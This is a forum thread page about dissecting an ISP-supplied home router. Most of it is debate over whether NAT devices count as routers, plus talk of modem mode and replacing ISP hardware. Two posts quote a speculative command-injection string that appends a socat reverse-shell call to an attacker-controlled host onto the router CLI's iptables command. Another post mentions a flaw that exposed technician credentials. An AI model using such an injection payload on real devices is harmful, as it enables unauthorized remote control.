You're lucky to have an SSH server active, on mine I had to open the router and dump the firmware manually :/
A detailed look at the router provided by my ISP
11–20 of 184 posts
Re: A detailed look at the router provided by my ISP
#12it looks like this CLI has some hardcoded shell commands with variable substitutions that look possibly unprotected against command injection. For example iptables %s > %s 2>&1 could probably be executed as iptables -L; socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane > /var/IptablesInfo 2>&1 by issuing iptables -L; socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane and therefo…
Depends if they `execve` or run the command inside a shell.
I'd bet for (1), but who knows.
Re: A detailed look at the router provided by my ISP
#13Trivia: Strictly speaking a box that does NAT is not a router in the IP protocol sense, it's a kind of proxy. The router requirements RFC explicitly forbids altering most fields (incl the address field) in the IP header.
The box in people's home's colloquially known as a router actually commonly combines a lot of functions into one: * router * firewall * NAT device * modem * switch * access point * DNS resolver * DHCP server And probably others I'm not thinking of :-)
I call them “terminal adapters”, because I’m still stuck in the ISDN age.
Re: A detailed look at the router provided by my ISP
#14it looks like this CLI has some hardcoded shell commands with variable substitutions that look possibly unprotected against command injection. For example iptables %s > %s 2>&1 could probably be executed as iptables -L; socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane > /var/IptablesInfo 2>&1 by issuing iptables -L; socat tcp-connect:$RHOST:$RPORT exec:sh,pty,stderr,setsid,sigint,sane and therefo…
Depends if they `execve` or run the command inside a shell. I'd bet for (1), but who knows.
redirections aren't parsed by exec....
Re: A detailed look at the router provided by my ISP
#15Trivia: Strictly speaking a box that does NAT is not a router in the IP protocol sense, it's a kind of proxy. The router requirements RFC explicitly forbids altering most fields (incl the address field) in the IP header.
The box in people's home's colloquially known as a router actually commonly combines a lot of functions into one: * router * firewall * NAT device * modem * switch * access point * DNS resolver * DHCP server And probably others I'm not thinking of :-)
ONT in the case of fiber. Don't know if it technically counts as a modem.
Re: A detailed look at the router provided by my ISP
#16Trivia: Strictly speaking a box that does NAT is not a router in the IP protocol sense, it's a kind of proxy. The router requirements RFC explicitly forbids altering most fields (incl the address field) in the IP header.
...an RFC that was written in 1995, before NAT was really necessary.
My view: If it forwards IP between different networks, it's a router.
Re: A detailed look at the router provided by my ISP
#17I'm overseas now, and using one of these crappy ISP-provided routers. I miss my nice Linksys router back home with high-density mesh, tri-band WiFi, and four gigabit ethernet ports.
Re: A detailed look at the router provided by my ISP
#18Trivia: Strictly speaking a box that does NAT is not a router in the IP protocol sense, it's a kind of proxy. The router requirements RFC explicitly forbids altering most fields (incl the address field) in the IP header.
I have a box that runs various routing protocols including OSPF and BGP, but also does nat where it needs to. It's known as a "router"
Re: A detailed look at the router provided by my ISP
#19...and that's why my ISPs router is running in modem mode with a non-ISP-controlled router from Ubiquiti behind it - which I may replace with a pfSense box in the future. I'm pretty happy that my cable ISP is allowing this mode so I don't have to double-NAT in my setup.
If your ISP didn't have that feature, could you just replace the cable modem too? My ISP's router is running EuroDOCSIS 3.0 and I'm wondering if I could replace the router with a modem + router of my own.
Re: A detailed look at the router provided by my ISP
#20A while back, I was playing around with the cable modem / router the ISP gave me because I was curious and an idiot. After screwing around a bit, I managed to find a vulnerability that exposed technician credentials plaintext and they actually worked. Had no idea where to report it though, because the manufacturers contact page could be summed up as fuck you we don't talk directly to consumers . I dont think the vuln…
> you had to be logged in to the web interface already with another account
Obviously I don't know specifics, but if this applies to any router which has multiple tiers of login then it could be a pretty serious problem. I suspect that might be true for routers designed specifically broadcast multiple networks (e.g. school or shared apartment-building routers)?